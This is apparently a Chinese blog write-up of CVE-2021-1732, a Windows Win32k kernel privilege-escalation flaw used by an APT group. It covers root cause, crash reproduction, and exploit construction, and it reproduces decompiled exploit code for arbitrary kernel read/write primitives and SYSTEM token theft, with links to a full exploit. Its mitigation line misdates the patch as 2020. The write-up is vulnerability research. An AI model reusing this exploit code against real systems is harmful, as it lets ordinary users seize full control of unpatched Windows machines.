CVE-2021-1732:BITTER APT用于定向攻击的Windows内核提权漏洞原理及利用分析

一、漏洞信息

1.背景

2021年2月10日,安恒公开披露了其在2020年12月份捕获到的一个Windows内核提权0day漏洞的相关信息,漏洞编号为CVE-2021-1732。此漏洞为Windows Win32k组件驱动模块win32kfull.sys中存在的代码逻辑bug,由某APT组织在进行定向攻击时,被检测和发现。微软在2021年2月的更新中已将此漏洞修复。

2. 漏洞简述

漏洞由win32kfull!xxxCreateWindowEx中的xxxClientAllocWindowClassExtraBytes回调函数引起,导致内核结构成员及其对应标志的设置不同步。

win32kfull!xxxCreateWindowEx创建具有WndExtra成员的窗口时,它将调用win32kfull!xxxClientAllocWindowClassExtraBytes触发回调,该回调将返回用户模式User32!_xxxClientAllocWindowClassExtraBytesh函数以分配WndExtra成员。攻击者hook此回调函数后,在自定义回调函数中,调用NtUserConsoleControl并传入当前窗口的句柄,这会将内核tagWND成员(指向WndExtra区域)更改为offset值,并设置相应的标志以指示该成员现在为偏移量(相对寻址方式)。之后,攻击者可以在自定义回调中调用NtCallbackReturn并返回任意值。返回内核模式,返回值将覆盖先前的offset成员,但不会清除相应的标志。之后,内核代码将未经检查的Offset值直接用于堆内存寻址。

  • 漏洞名称:Windows Win32k权限提升漏洞
  • 漏洞编号:CVE-2021-1732
  • 漏洞类型:设计缺陷
  • 漏洞影响:本地权限提升
  • CVSS评分:7.8
  • 利用难度:Exploitation Detected
  • 基础权限:普通用户权限

3.漏洞影响

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows Server, version 1909 (Server Core installation)

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windws 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows 10 Version 1803 for ARM64-based Systems

Windows 10 Version 1803 for x64-based Systems

Windows 10 Version 1803 for 32-bit Systems

二、漏洞复现

1. 环境搭建

1
2
3
靶机:Windows10 1909(18363.1316)   windows10 (19042.746)
调试机:Windows10 1909(18363.1316)
工具:windbg IDA 7.5

2. 复现过程

windows10 20H2(19042.746)执行样本文件,蓝屏。

img

Windows10 1909(18363.1316),样本文件开始执行时为中完整性(Medium)。

1614320280105

执行完利用程序后,变为系统级完整性(System)。

1614320476261

三、漏洞分析

安恒给出的利用样本分析已经相当详细,有分析基础的师傅们可以之间去看安恒的分析,本篇分析是我第一次详细的分析0day漏洞的利用,学到挺多知识,仅做记录。

1. 基础分析

  • 漏洞文件:win32kfull.sys(10.0.18362.1316)
  • 漏洞函数:win32kfull!xxxClientAllocWindowClassExtraBytes

2. 静态分析

1. 漏洞函数分析

win32kfull!xxxCreateWindowEx函数中,调用win32kfull!xxxClientAllocWindowClassExtraBytes函数,返回值来填充*(tagWnd+0x28)+0x128字段。此字段,可理解为窗口的extra数据地址,因为传入后一个函数的参数为*(tagWnd+0x28)+0xC8字段,此字段为tagWND->cbWndExtra(ULONG),代表当前窗口中的额外字节大小,此值可由窗口类结构体WNDCLASSEX成员cbWndExtra来进行设置。

1614925896604

win32kfull!xxxClientAllocWindowClassExtraBytes函数中,通过使用用户回调,进行用户态函数调用。

1614233973175

KeUserModeCallback用户模式回调调用KernelCallbackTable中ApiNumber为0x7B的函数,即User32!_xxxClientAllocWindowClassExtraBytes ,而KeUserModeCallback原型如下:

1
2
3
4
5
6
7
KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
)

因此,我们看到,传入InputBuffer为v12即size_t* Length,InputLength为4,正是上层传入的cbWndExtra。

1614233889756

User32!_xxxClientAllocWindowClassExtraBytes函数中,调用RtlAllocateHeap申请堆内存,并通过调用User32!NtCallbackReturn将返回内核函数,而申请的用户模式内存地址和大小即为KeUserModeCallback第四和第五参数。拿到获得的地址,写入*(tagWND+5*8)+0x128字段。

在利用样本中,存在另外一个关键的函数win32u!NtUserConsoleControl。此函数经过系统调用进入内核中,调用win32kfull!NtUserConsoleControl函数。后者内部调用win32kfull!xxxConsoleControl函数。

1614242158626

win32kfull!xxxConsoleControl函数中,会将*(tagWnd+0x28)+0x128处的值修改为一个offset,计算方式为offset = DesktopAlloc值-原本存在的pointer值,同时,设置*(tagWnd+0x28)+0xE8处的值,加上0x800标志,可以理解为一个flag,意味着当前extra data地址的寻址方式变为offset方式。

1614322205853

当User32!_xxxClientAllocWindowClassExtraBytes函数被Hook为自定义函数,如下所示:

1615289171455

首先调用win32u!NtUserConsoleControl函数将窗口的extradata地址修改为offset,设置flag|=0x800,即寻址方式变为offset方式。接着使用ntdll!NtCallbackReturn函数,返回一个fake_offset值,当后续内核代码使用到此fake_offset值可造成内存越界访问,当访问到内存为无效内存时,可造成BSOD。

但是存在一个问题,回调函数中,窗口并未创建完成,我们无法拿到当前窗口句柄,更别提后续调用NtUserConsoleControl来修改flag。

这里有两种解决方案,第一种是在在野样本中使用的利用HMValidateHandle获取窗口对象内核结构映射到用户堆的内存后,使用VirtualQuery函数,获取内存信息,然后多次重复后,找到窗口内存映射过程中,最小的基地址,通过暴力内存搜索,根据窗口对象tagWND的成员设置特殊值,查找目标窗口值,再根据结构体成员偏移,结构体第一成员head中存在句柄值,获取窗口句柄。

第二种,在kk师傅分享的exploit中,我们可以利用类似堆喷的思想,创建多个窗口,使用不公开的HMValidateHandle获取窗口内核对象tagWND映射的用户堆部分,我们知道了这些用户窗口对象的内存后,销毁部分窗口,但是释放的窗口的内存依旧存在,我们在重新创建窗口时,优先使用这些释放的窗口对象的内存,由于窗口对象第一成员为窗口的句柄,我们在成员设置一些特殊值,查找内存即可,定位到新创建的窗口的句柄。

分析到这里,我们可以在18362.1316构造一个crash poc,流程如下所示:

1615295996624

3. 动态分析

此次调试获取HWND的方式为第一种,即通过VirtualQuery查询mbi后,搜索内存方式,另一种方式如前所述,更好理解。

首先获取两个函数地址。

1615360497050

通过IsMenu函数获取HMValidateHandle函数地址。

1615360670476

通过gs:[60h]获取PEB地址,访问PEB+0x58成员,即KernelCallbackTable地址,table的第0x7b成员即我们的目标回调函数User32!_xxxClientAllocWindowClassExtraBytes。

1615360939325

Hook这个地址后,则转为我们的自定义回调函数。

1615361008031

1615361883275

生成一个magic_value,这里random值模上0xFF+0x1234或1的奇数值,此时为0x12c1。后续创建两个窗口类,一个WndClassExW.cbWndExtra为正常值0x20,另一个WndClassExW.cbWndExtra为magic_value。

创建正常窗口。

1615362694800

使用HMValidateHandle获取窗口对象内核结构映射的用户模式地址,第一成员为_THRDESKHEAD Head结构,查看下面的成员我们可以知道,第一成员指向的内存为窗口句柄。

1
2
3
4
5
6
7
8
9
10
kd> dt _THROBJHEAD
win32k!_THROBJHEAD
+0x000 h : Ptr64 Void
+0x008 cLockObj : Uint4B
+0x010 pti : Ptr64 tagTHREADINFO

typedef struct _THRDESKHEAD {
THROBJHEAD thread;
/*0x14*/DESKHEAD deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
VirtualQuery(v6, &Buffer, 0x30i64);

if (__BaseAddress == NULL)
{
__BaseAddress = Buffer.BaseAddress;
__RegionSize = Buffer.RegionSize;
}
else
{
if (__BaseAddress >= Buffer.BaseAddress)//寻找最小的基地址
{
__BaseAddress = Buffer.BaseAddress;
__RegionSize = Buffer.RegionSize;
}
}

通过VirtualQuery函数,我们获取内存页信息,第二参数mbi结构如下。

1
2
3
4
5
6
7
8
9
10
typedef struct _MEMORY_BASIC_INFORMATION {
/*0x00*/PVOID BaseAddress;
/*0x08*/PVOID AllocatizonBase;
/*0x10*/DWORD AllocationProtect;
/*0x14*/WORD PartitionId;/*size = 4 对齐*/
/*0x18*/SIZE_T RegionSize;
/*0x20*/DWORD State;
/*0x24*/DWORD Protect;
/*0x28*/DWORD Type;/*size = 8 对齐*/
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

循环多次创建后,我们拿到用户堆窗口对象申请内存的最小基地址以及RegionSize大小。

1615364228733

销毁部分窗口,便于内存分配到释放窗口附近。

创建magic窗口。由于其设置里magic_value,自然进入我们自定义中的可控部分。

1615364635337

调用GethWndFromHeap获取magic窗口句柄。方法一,通过我们之前获取的最小基地址,搜索内存,查找magic_value,定位到magic窗口对象映射的用户模式内存。

当一个Region的内存查询完毕或者找到magic值,判断当前内存0x18处即tagWND.ExStyle是否为我们创建窗口时设置的0x8000000。当不为此值时,则说明此处内存并不是我们的目标内存,或者是目标内存,但是需要对齐结构体。前一种情况继续外层循环,开始之前,调整我们的region_size为前一次循环从本次基地址到当前搜索到内存地址的偏移大小;后一种情况直接拿对齐的地址访问偏移即可拿到我们的目标句柄值。

1615368744104

多次循环后,搜索到magic值,也就定位到我们的magic窗口句柄。

接着在自定义毁掉中,调用NtUserConsoleControl设置magic窗口的flag以及offset值。

1615369039846

设置参数条件断点。

1
ba e1 win32kfull!NtUserConsoleControl "j (rdx==00007ff7`72716120) ''; 'gc' "

内核调试中,我们进入win32kfull!xxxConsoleControl函数,设置offset。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
win32kfull!xxxConsoleControl+0x325:
fffff456`4591f8ed 482b8880000000 sub rcx,qword ptr [rax+80h]
3: kd> r rcx
rcx=fffff423c1241040
3: kd> ? rcx-poi(rax+80)
Evaluate expression: 266304 = 00000000`00041040
3: kd> p
win32kfull!xxxConsoleControl+0x32c:
fffff456`4591f8f4 498b07 mov rax,qword ptr [r15]
3: kd> r rcx
rcx=0000000000041040
3: kd> p
win32kfull!xxxConsoleControl+0x32f:
fffff456`4591f8f7 48898828010000 mov qword ptr [rax+128h],rcx
3: kd> dq rax+0x128
fffff423`c123c2b8 00000000`00000000 00000000`00000000

3: kd> p
win32kfull!xxxConsoleControl+0x336:
fffff456`4591f8fe e9fdfeffff jmp win32kfull!xxxConsoleControl+0x238 (fffff456`4591f800)
3: kd> dq rax+0x128
fffff423`c123c2b8 00000000`00041040 00000000`00000000//设置offset=base-pointer

使用bts指令,设置flag标志位0x800。

1615370785000

返回自定义回调,调用NtCallbackReturn函数,第一参数为我们根据magic值申请的进程堆内存地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
crash_poc!_Fake_USER32_xxxClientAllocWindowClassExtraBytes+0xa1:
00007ff7`72619db1 ff1551a21000 call qword ptr [crash_poc!_imp_HeapAlloc (00007ff7`72724008)] ds:00007ff7`72724008={ntdll!RtlAllocateHeap (00007fff`2a4baa20)}
0:000> p
crash_poc!_Fake_USER32_xxxClientAllocWindowClassExtraBytes+0xa7:
00007ff7`72619db7 48890572c30f00 mov qword ptr [crash_poc!__Offset (00007ff7`72716130)],rax ds:00007ff7`72716130=0000000000000000
0:000> r rax
rax=00000146cad82fd0
0:000> dq rax
00000146`cad82fd0 00000000`00000000 00000000`00000000
00000146`cad82fe0 00000000`00000000 00000000`00000000
00000146`cad82ff0 00000000`00000000 00000000`00000000
00000146`cad83000 00000000`00000000 00000000`00000000
00000146`cad83010 00000000`00000000 00000000`00000000
00000146`cad83020 00000000`00000000 00000000`00000000
00000146`cad83030 00000000`00000000 00000000`00000000
00000146`cad83040 00000000`00000000 00000000`00000000

此时地址为0x146cad82fd0,内核调试器返回win32kfull!xxxClientAllocWindowClassExtraBytes函数,返回xxxCraeteWindowEx函数,将此值设置回*(tagWND+0x28)+0x128处。

1615371656352

在poc中,我们执行完成后,DestoryWindow magic窗口,由于内部把我们的pointer当成offset,越界访问内存,BSOD。

1615343464986

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffea8c`947b6ae8 fffff805`3d756db2 : fffff56a`8bf82fc0 00000000`00000003 ffffea8c`947b6c50 fffff805`3d5d44d0 : nt!DbgBreakPointWithStatus
01 ffffea8c`947b6af0 fffff805`3d7564a7 : fffff805`00000003 ffffea8c`947b6c50 fffff805`3d6861a0 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 ffffea8c`947b6b50 fffff805`3d671c27 : ffffffff`ffffffd2 fffff805`3d780880 fffff56a`8bf82fc0 00000000`00040202 : nt!KeBugCheck2+0x947
03 ffffea8c`947b7250 fffff805`3d6bbe82 : 00000000`00000050 fffff56a`8bf82fc0 00000000`00000000 ffffea8c`947b7530 : nt!KeBugCheckEx+0x107
04 ffffea8c`947b7290 fffff805`3d578aff : ffffea8c`94be8000 00000000`00000000 00000000`00000000 fffff56a`8bf82fc0 : nt!MiSystemFault+0x198d62
05 ffffea8c`947b7390 fffff805`3d67fb5e : 00000000`00000000 00000000`00000000 00000000`00000001 00000000`00000000 : nt!MmAccessFault+0x34f
06 ffffea8c`947b7530 fffff805`3d511490 : 00000000`00008003 fffff805`3e7d208d fffff423`000003d6 ffff8101`e1542080 : nt!KiPageFault+0x35e (TrapFrame @ ffffea8c`947b7530)
07 ffffea8c`947b76c0 fffff805`3d5bf27a : 00000000`00000008 ffffea8c`947b77c0 00000000`00000008 00000000`00000003 : nt!RtlpHpVsContextFree+0x570
08 ffffea8c`947b7760 fffff805`3d5bf1fc : fffff423`c1200000 00000000`00000000 fffff56a`8bf82fd0 00000000`000002a0 : nt!RtlpFreeHeapInternal+0x5a
09 ffffea8c`947b77e0 fffff456`4586671e : 00000146`cad82fd0 00000000`00000000 00000000`00000000 fffff423`ce0c8eb0 : nt!RtlFreeHeap+0x3c//注意第一参数
0a ffffea8c`947b7820 fffff456`45863142 : fffff423`c112ca10 00000000`08000100 00000000`00000000 fffff423`ce0c8eb0 : win32kfull!xxxFreeWindow+0x4ba
0b ffffea8c`947b7950 fffff456`45861a8a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000020 : win32kfull!xxxDestroyWindow+0x922
0c ffffea8c`947b7a50 fffff805`3d683355 : cccccccc`40000600 00000146`00000000 00000000`00000000 ffff8101`e46d33e0 : win32kfull!NtUserDestroyWindow+0x3a
0d ffffea8c`947b7a80 00007fff`27c123e4 : 00007ff7`7261a370 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffea8c`947b7a80)
0e 0000003c`d4daf738 00007ff7`7261a370 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000030 : 0x00007fff`27c123e4
0f 0000003c`d4daf740 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000030 cccccccc`00000000 : 0x00007ff7`7261a370

调试器显示crash时堆栈如上所示,与我们的流程一致。

crash_poc地址如下:

1
https://github.com/Saturn35/POC/tree/main/CVE-2021-1732/crash_poc

4. 利用思路

  1. 利用条件

构造任意地址读写原语。

普通用户运行exp即可进行本地权限提升。

  1. 利用过程
1.构造任意地址读原语

此条件的达成,在野样本中使用了一个新的方法GetMenuBarInfo,和这里的思路比较相似。

首先我们先来看看GetMenuBarInfo函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL GetMenuBarInfo(
HWND hwnd,
LONG idObject,
LONG idItem,
PMENUBARINFO pmbi
);

typedef struct tagMENUBARINFO {
DWORD cbSize;
RECT rcBar;
HMENU hMenu;
HWND hwndMenu;
BOOL fBarFocused : 1;
BOOL fFocused : 1;
BOOL fUnused : 30;
} MENUBARINFO, *PMENUBARINFO, *LPMENUBARINFO;

typedef struct tagRECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT, *NPRECT, *LPRECT;

最终调用Win32kfull!NtUserGetMenuBarInfo,参数与用户层相同。此函数中获取窗口对象tagWND地址,传入Win32kfull!xxxGetMenuBarInfo函数。

1615376600000

此函数中,需要越过条件,首先传入第二参数需要为-3,只需在用户代码中向GetMenuBarInfo函数第二参数传入-3即可。同时此窗口的tagWND成员spmenu(tagMENU类型),它所在内存0x98处的地址,我们记为mem_4,mem_4处存储的指针记为mem_200,接着*(*mem_4+0x40)以及*(*mem_4+0x44)需要不为0,也即就是*(mem_200+0x40)和*(mem_200+0x44)处不为0。

接着,v6即传入的第三参数需要为非零值,且后续用此值作为index进行偏移计算,因此此值经推断只能取1,同样只需在用户代码中向GetMenuBarInfo函数第三参数传入1即可。

1615377384132

还有一处没有标出来的需要越过,事实上有三处,正是menubarinfo.rcBar.left行上面的if语句,即需要使tagWND+0x28处也即就是v37内容为0。

接下来重点是如何读,顾名思义,内核任意地址读原语首先需要制定一个需要读的地址,也就是由外部指定的kernel地址,此地址在x64下需要分为高4位和低4位。在我们标出的位置,就是上面提到的另外两处*(tagWND+0x28)+0x58以及*(tagWND+0x28)+0x5C处值需要为0,我们才能做到对目标地址解星号。

解引用时因为访问的分别是偏移为0x40以及0x44处的内存,因此我们在向此处写kerneladdress时需要减去0x40。调试可知,此值为默认情况下menubar.rcBar.left和menubar.rcBar.top的值。

解决了上述条件限制我们即可进行任意地址读。

还有一个问题是如何修改窗口对象的tagWND结构的spmenu指针,此指针类型为tagMENU。在阅读了趋势科技的一篇漏洞分析文章后,发现以下操作可以进行修改。

用户模式代码提供了一种 用任何东西替换目标窗口的spmenu值的方法。win32k函数xxxNextWindow获取目标窗口的spmenu 值,并将其作为指向tagMenu对象的指针。

1614588640393

首先增加窗口样式WS_CHILD(0x4000000000000000),调用SetWindowLongPtr,当第二参数为(GWLP_ID)时,则可设置任意值到tagWND的spmenu成员。而窗口样式成员在x64下位于tagWND的0x18处。

因此,构造读原语的部分代码如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
/////////////////////////////////////////////////////
//设置fake_spmenu为_mem_zeroinit_A0,即我们可以控制的内存空间,后续进行内存构造。
////////////////////////////////////////////////////
if ( _X64_ )
{
v4 = _Offset_18; // ExStyle
v5 = *(_QWORD *)(_hWnd1_ptagWND + 8 * ((unsigned __int64)(unsigned int)_Offset_18 >> 3));
v6 = v5 ^ 0x4000000000000000i64; // ExStyle^=WS_CHILD
}
else
{
v4 = _Offset_1C;
v5 = *(unsigned int *)(_hWnd1_ptagWND + 4 * ((unsigned __int64)(unsigned int)_Offset_1C >> 2));
v6 = v5 ^ 0x40000000;
}
new_Style = v6;
old_Style = v5;
SetWindowLongPtrA(_hWnd0, v4 + _hWnd1_tagWND_Offset - _hWnd0_tagWND_Offset, v6);// 利用窗口结构偏移 设置hWnd1的dwStyle ^=WS_CHILD
v7 = SetWindowLongPtrA(_hWnd1, 0xFFFFFFF4, _mem_zeroinit_A0h);// GWLP_ID=-12 设置子窗口的新标识符。 该窗口不能是顶级窗口。



/////////////////////////////////////////////////////
//内存构造。
////////////////////////////////////////////////////
_mem_zeroinit_200h = LocalAlloc(0x40i64, 0x200i64);// LMEM_ZEROINIT
_mem_zeroinit_30h = LocalAlloc(0x40i64, 0x30i64);
_mem_zeroinit_4 = LocalAlloc(0x40i64, 4i64);
_mem_zeroinit_A0h = LocalAlloc(0x40i64, 0xA0i64);
v6 = LocalAlloc(0x40i64, 8i64);
v7 = (_DWORD *)_mem_zeroinit_200h;
v8 = v6;
v9 = _mem_zeroinit_30h;
v10 = _mem_zeroinit_4;
v11 = _mem_zeroinit_A0h;
_mem_zeroinit_8 = v6;
v12 = (unsigned __int64)(unsigned int)_Offset_40 >> 2;
*(_DWORD *)(_mem_zeroinit_30h + 4 * ((unsigned __int64)(unsigned int)_Offset_2C >> 2)) = 16;
v13 = (unsigned int)_Offset_28;
*v7 = 0x88888888;
*(_QWORD *)&v7[2 * (v13 >> 3)] = v9;
v7[v12] = 1;
v7[(unsigned __int64)(unsigned int)_Offset_44 >> 2] = 1;
v14 = _X64_ == 0;
*(_QWORD *)&v7[2 * ((unsigned __int64)(unsigned int)_Offset_58 >> 3)] = v8;
if ( v14 )
*(_DWORD *)(v10 + 4) = 0x10;
else
*(_QWORD *)(v10 + 8) = 0x10i64;
v15 = (unsigned int)_Offset_98;
result = 1i64;
*(_QWORD *)v10 = v7;
*(_QWORD *)(v11 + 8 * (v15 >> 3)) = v10;
_tagMenuBarInfo.cbSize = 0x30;


/////////////////////////////////////////////////////
//ReadQWORD
////////////////////////////////////////////////////
KernelAddress = a1;
if ( _Is_rcBar_left_has_value )
{
v12 = (unsigned int)_tagMenuBarInfo_rcBar_left;//0x40
}
else
{
v2 = LocalAlloc(0x40i64, 0x200i64);
v11 = _hWnd1;
*(_QWORD *)_mem_zeroinit_8 = v2;
GetMenuBarInfo(v11, 4294967293i64, 1i64, &_tagMenuBarInfo);// GetMenuBarInfo 与窗口关联的菜单栏 first item
v12 = (unsigned int)_tagMenuBarInfo.rcBar.left;// 窗口菜单栏左上角的x坐标。
_tagMenuBarInfo_rcBar_left = _tagMenuBarInfo.rcBar.left;
_Is_rcBar_left_has_value = 1;
}
v15 = _hWnd1;
*(_QWORD *)_mem_zeroinit_8 = KernelAddress - v12;
GetMenuBarInfo(v15, 0xFFFFFFFDi64, 1i64, &_tagMenuBarInfo);
return (unsigned int)_tagMenuBarInfo.rcBar.left + ((signed __int64)_tagMenuBarInfo.rcBar.top << 32);

最终构造的内存结构如下所示:

1615382670446

1
踩坑,然鹅真实情况并不是这么简单,在MEM_200h_addr的构造上,实际内存是比较复杂的,并不是简单地初始化为0

1615536517246

这一大段128位寄存器到底在干甚么,发生甚么事了?啪的一下,很快啊,调试结果就出来了。

1615536994130

大概意思就是对这0x200大小的内存,每4字节值为当前offset,offset为从地址其实偏移。那么,我们在读原语代码中,需要加上这一步操作。个人在调试过程中,当对此处内存只初始化为0时,一旦执行GetMenuBarInfo函数,便会BSOD,猜测是因为内核的xxxGetMenubarInfo函数因为无法正确初始化而崩溃,而上面调试信息中的内存布局是正常GetMenuBar所需要的布局(仅个人猜测)。

1
2
3
4
5
for (int i=0;i<0x200/4;i++)
{
*(DWORD*)v2 = i * 4;
v2 = (char*)v2 + 4;
}

而真正的内存布局,如下所示。

1615537726621

2.构造任意地址写原语

同理,任意地址写原语也需要首先需要一个where的地址,我们需要进程提权的话,则需要向目标进程的Token地址。如何获取首先通过进程ID遍历,拿到指定ID后通过EPROCESS+0x360定位Token地址。而进程链如何获取,我们在前面的读原语构造中提到的覆盖spmenu方法,SetWindowLongPtr的返回值正是目标地址处之前的值,也就是泄露出hwnd1的tagWND成员spmenu(tagMENU*结构),通过多次使用读原语,我们即可拿到进程Token地址和值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kd> dt tagMENU
win32k!tagMENU
+0x000 head : _PROCDESKHEAD

kd> dt _THROBJHEAD
win32k!_THROBJHEAD
+0x000 h : Ptr64 Void
+0x008 cLockObj : Uint4B
+0x010 pti : Ptr64 tagTHREADINFO

kd> dt tagTHREADINFO
win32k!tagTHREADINFO
+0x000 pEThread : Ptr64 _ETHREAD
+0x008 RefCount : Uint4B
+0x010 ptlW32 : Ptr64 _TL
+0x018 pgdiDcattr : Ptr64 Void
...

kd> dt _ETHREAD
nt!_ETHREAD
+0x000 Tcb : _KTHREAD
...
kd> dt _KTHREAD
nt!_KTHREAD
...
+0x220 Process : Ptr64 _KPROCES
...


1: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
...
+0x360 Token : _EX_FAST_REF

此外我们需要一个what值,此值在提权时必然是System进程的Token值。

有了两个参数,我们具体如何实现?

还记得我们前面提到的多个窗口创建嘛,我们留了两个窗口hwnd0和hwnd1。这两个窗口,我们对hwnd0手动调用NtUserConsoleControl,即修改其flag为0x800。此外由于我们使用HMValidateHandle拿到了两个窗口的用户模式窗口对象结构地址,通过计算偏移,即可通过窗口0来访问窗口1的结构成员。

1
2
SetWindowLongPtrA(_hWnd0, _hWnd1_tagWND_Offset + 0x128 - _hWnd0_tagWND_Offset, where);// //设置窗口1 的tagWND的extarMemaddr 也就是 写哪
return SetWindowLongPtrA(_hWnd1, 0, v2); // 我们在上一步已经设置好了写哪,现在真正往这个地址写

首先使用SetWindowLongPtrA通过窗口0设置窗口1的0x128处成员,也就是ExtraDataAddr,设置好了之后再通过SetWindowLongPtrA写窗口1的ExtraData写数据,也就是完成了任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
v11 = readQWORD(v9 + (unsigned int)_Offset_50);
v12 = v11; // tagMENU
v13 = readQWORD(v11 + (unsigned int)g__Offset_18);// tagMenu.tagDesktop(tagDESKTOP)
tagWin32Heap_ = readQWORD(v13 + (unsigned int)g__Offset_80);// tagDesktop.pheapDesktop(tagWIN32HEAP)
v14 = readQWORD(v12 + (unsigned int)g__Offset_10);// tagMenu.head.pti(tagTHREADINFO)
v15 = readQWORD(v14); // tagTHREADINFO.pEThread(_ETHREAD)
v16 = readQWORD(v15 + (unsigned int)g__Offset_220);// KTHREAD.EProcess

...


while ( !System_Token || !targetProcessToken_addr )
{
v23 = readQWORD(v17 + (unsigned int)offset_UniqueProcessId);
if ( v23 == 4 )
System_Token = readQWORD(v17 + (unsigned int)offset_Token);
if ( v23 == v18 )
targetProcessToken_addr = v17 + (unsigned int)offset_Token;
v17 = readQWORD(v17 + (unsigned int)offset_ActiveProcessLinks) - (unsigned int)offset_ActiveProcessLinks;
if ( v17 == v40 )
goto LABEL_36;
}
}
if ( System_Token )
writeQWORD(targetProcessToken_addr, System_Token);
3.恢复现场

在进行Token替换后,我们需要对现场进行恢复,防止BSOD。

要恢复的包括hwnd1窗口的spmenu数据 hwnd1的ExtraData寻址范围

hwnd0窗口样式

hwnd0的flag恢复 hwnd0的ExtraDataAddr恢复

释放各种自己申请的堆内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v26 = _HMValidateHandle(hWnd2, 1i64);
v27 = 8i64;
v28 = *(_QWORD *)(v26 + 8 * ((unsigned __int64)(unsigned int)dword_140056A7C >> 3)) ^ 0x80000000000i64;
v29 = *(unsigned int *)(v27 + v26);
SetWindowLongPtrA(
_hWnd0,
nIndex + _hWnd1_tagWND_Offset - _hWnd0_tagWND_Offset,
tagWin32Heap_ + v29 + (unsigned int)nIndex);
SetWindowLongPtrA(_hWnd1, 0, 0i64);
SetWindowLongPtrA(
_hWnd0,
nIndex + _hWnd1_tagWND_Offset - _hWnd0_tagWND_Offset,
tagWin32Heap_ + v29 + (unsigned int)dword_140056A7C);
SetWindowLongPtrA(_hWnd1, 0, v28);
v30 = _hWnd1_tagWND_Offset - _hWnd0_tagWND_Offset;
v31 = _Offset_18 + v30;
SetWindowLongPtrA(_hWnd0, v31, v6);
SetWindowLongPtrA(_hWnd1, -12, dwNewLong);
v32 = _hWnd1_tagWND_Offset - _hWnd0_tagWND_Offset;
v33 = _Offset_18 + v32;
SetWindowLongPtrA(_hWnd0, v33, old_Style);//hwnd1 back to old style
SetWindowLongPtrA(_hWnd0, nIndex + _hWnd1_tagWND_Offset - _hWnd0_tagWND_Offset, _tagWND_0x128_hWnd1);//restore hwnd1 tagWND+0x128
SetWindowLongPtrA(_hWnd0, nIndex, (unsigned int)_tagWND_0x128_hWnd0);//restore hwnd0 tagWND+0x128
3. 攻击向量

Local

1615346562069

4.利用演示

image

构造的exp_poc代码地址如下:

1
https://github.com/Saturn35/POC/tree/main/CVE-2021-1732/exp_poc
5.踩坑记录

1.Hwnd1的spmenu偶尔获取不到

究其原因,是因为利用代码的思路深受crash代码的印象,认为循环创建窗口时第一个创建的就是hwnd0,第二个创建的就是hwnd1。然鹅事实上,并不能这么写,必须将tagWND+8处值(cLockObj )小的作为hwnd0,大的作为hwnd1。因为我们多次使用SetWindowLongPtrA进行跨窗口访问时,会使用偏移offset差值来进行值得设置,如果某次执行过程中,出现了hwnd0的cLockObj值大于hwnd1的cLockObj 值,那么传入SetWindowLongPtrA的nIndex变为负值,则写窗口成员失败,因此影响后续的spmenu获取。​

2.最大的精彩之处在于CreateWindowEx未返回时如何获取窗口句柄

由于在野样本在自定义回调函数中获取句柄函数存在大量混淆,理解不深刻,后续crash复现的时候,发现拿不到magic窗口的句柄值,则无法触发漏洞,一顿陷入僵局,这里卡了很久。再次感谢下git上的两位大佬给出的两个思路,见前文所述。

3.恢复现场时的操作

主要的问题是对于magic窗口的恢复,在野poc的思路是将magic窗口的tagWND+0x128置为0,而后将magic窗口的tagWND+0xE0置为0;前者很好理解,就是ExtraDataAddress为0,而0xE0处的成员并不清楚是什么,因此个人觉得难以理解;而后KK大佬的思路是通过人工申请内存,将magic窗口tagWND+E8处的flag去掉0x800标志,设置为pointer,而后将申请的内存写入tagWND+128,因此,当销毁窗口时,系统会自动释放此处的内存,同时不会影响hwnd0,但是此方法存在的问题是和问题1有点类似,就是magic窗口的内存offset存在偶然性,并不一定比hwnd0的offset大,因此极端情况下是无法设置magic窗口成员的。因此个人在POC里采用了在野原始poc的思路,至于为何将tagWND0+0xE0处置0,或许有知道的师傅可以解释一二,但是可以肯定的是,必然影响ExtraDataAddress的寻址和释放。

四、缓解措施

请安装2020年2月补丁。

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4601315

五、参考文献

